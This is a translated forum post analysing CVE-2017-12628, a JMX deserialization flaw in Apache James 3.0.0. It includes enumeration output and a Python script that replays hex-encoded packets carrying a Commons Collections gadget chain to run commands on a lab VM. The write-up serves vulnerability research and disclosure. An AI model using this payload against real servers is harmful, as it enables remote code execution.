首页
社区
课程
招聘
[翻译]CVE-2017-12628漏洞分析
2017-11-24 11:21 4610

[翻译]CVE-2017-12628漏洞分析

2017-11-24 11:21
4610

关键词: Apache James ,BaRMIe ,CVE-2017-12628,反序列化,JMX,远程方法调用,RMI   


        早上我看的一篇微博提到了“Apache James 3.0.1 JMX服务器反序列化”漏洞,即CVE-2017-12628。该漏洞引起了我的注意,因为我曾写过一个通用JMX反序列化漏洞利用的文章,并将该漏洞用于RMI(Java的远程方法调用)攻击工具“BaRMIe”。快速查找更多的漏洞细节后,找到一篇安全发布公告,称该漏洞只能用于本地提权,且提到了一个库的更新。这引发了我更多的兴趣,因为JMX使用RMI,而即使绑定了本地主机的RMI对象仍然可以远程访问,因为Java中将这些对象绑定到“0.0.0.0”。BaRMIe工具就是利用这种本地端口转发来攻击绑定到本地或网络IP地址的对象。


分析

        我安装了一个虚拟机运行Apache James 3.0.0(3.0.1版本已经修复该问题),首先引起我注意的是文件“libs\commons-collections-3.2.1.jar”。使用ysoserial生成一个POP工具链,利用这个库通过反序列化执行任意命令。

        运行“bin/run.sh”命令启动James服务器,在虚拟机中用netstat命令以及在我的主机上用nmap命令,找到在VM上有一个java RMI端口在对外监听。

C:\Tools\Nmap>nmap.exe -sV --version-all -p33148,46299 192.168.174.40

Starting Nmap 7.31 ( https://nmap.org ) at 2017-10-22 12:37 GMT Daylight Time
Nmap scan report for 192.168.174.40
Host is up (0.00076s latency).
PORT      STATE SERVICE     VERSION
33148/tcp open  rmiregistry Java RMI
46299/tcp open  tcpwrapped
        
        用BaRMIe工具枚举该服务的类型,发现使用的是RMI对象服务,而不是RMI注册表服务。所以不能用BaRMIe工具远程攻击该服务。
C:\Tools\BaRMIe>java -jar BaRMIe.jar 192.168.174.40 33148
Scanning 1 target(s) for objects exposed via an RMI registry...

192.168.174.40:33148 appears to be an RMI object endpoint, rather than a registry.

        在虚拟机上运行nmap命令显示,Apache James RMI注册表服务绑定了127.0.0.1:9999。在虚拟机中用BaRMIe工具枚举该RMI注册表后发现,它实际上一个针对JMX对象的RMI对象服务。 
RMI Registry at 127.0.0.1:9999
Objects exposed: 1
Object 1
  Name: jmxrmi
  Endpoint: 127.0.1.1:33148
  Classes: 3
    Class 1
      Classname: javax.management.remote.rmi.RMIServerImpl_Stub

        使用BaRMIe的攻击模式,加上通用的JMX漏洞利用和Commons Collections 3.2.1 Payload,我们可以利用该服务运行任意命令来实现本地提权。此外,如果服务器使用过时的Java运行环境(版本<=6u131, 7u121, 或8u112),那么可以利用ysoserial RMI注册表漏洞进行攻击。


远程利用漏洞

        安全发布公告称该漏洞只能用于本地提权。然而,因为JMX对象是暴露在外部的,所以我想该漏洞一定可以远程利用。

        在继续下面的内容之前,我想说明的是,虽然该漏洞可以远程利用,但是涉及一个重要的基于网络的暴力破解攻击。

        为了生成一个快速有效的PoC(proof of concept)模型,我在虚拟机中用tcpdump命令来捕获JMX对象服务的流量,同时用“touch fooobaaar”命令运行BaRMIe JMX漏洞利用。

sudo tcpdump -i lo -w apache-james-jmx-exploit.pcap port 33148


        在我的主机中使用了一个快速有效的Python脚本来重放攻击的数据包。

import socket

packets = [
	"4a524d4900024b",
	"RECV",
	"00093132372e302e312e310000000050aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078709c4cdbcfdd205cf8737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e6971756570787080020000015f4347bba08304129e77088000000000000015737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008beccd729e295d7ea7371007e000580010000015f43592e64224416a1",
	"RECV",
	"50aced000577229c4cdbcfdd205cf88304129e0000015f4347bba08002fffffffff0e074eaad0caea8737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b707870740001417372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174000f746f75636820666f6f6f6261616172740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870000000010000000077080000001000000000787878",
	"RECV",
]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.174.40", 33148))

for packet in packets:
	if packet == "RECV":
		sock.recv(4096)
	else:
		sock.sendall(packet.decode("hex"))
sock.close()

        在我的主机上远程回放本地攻击是成功的,证明可以远程利用该漏洞。

        


        然而正如我怀疑的那样,重启Apache James服务后该PoC不能用了。我捕获了更多的数据包进行比较和测试,发现漏洞利用中第三个传出的数据包有所不同。该数据包的前27字节如下所示:

        

        蓝色部分是动态的,可以从服务器之前回复的数据包中提取得到。橙色部分是RMI对象标识符,在服务器启动时生成。该值从只监听本地的RMI注册表服务中产生。如果攻击者可以用暴力破解或其他方式破解这8字节的值,就可以利用漏洞来远程执行root命令了。


原文链接:https://nickbloor.co.uk/2017/10/22/analysis-of-cve-2017-12628/

本文由 看雪翻译小组 Green奇 编译



[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回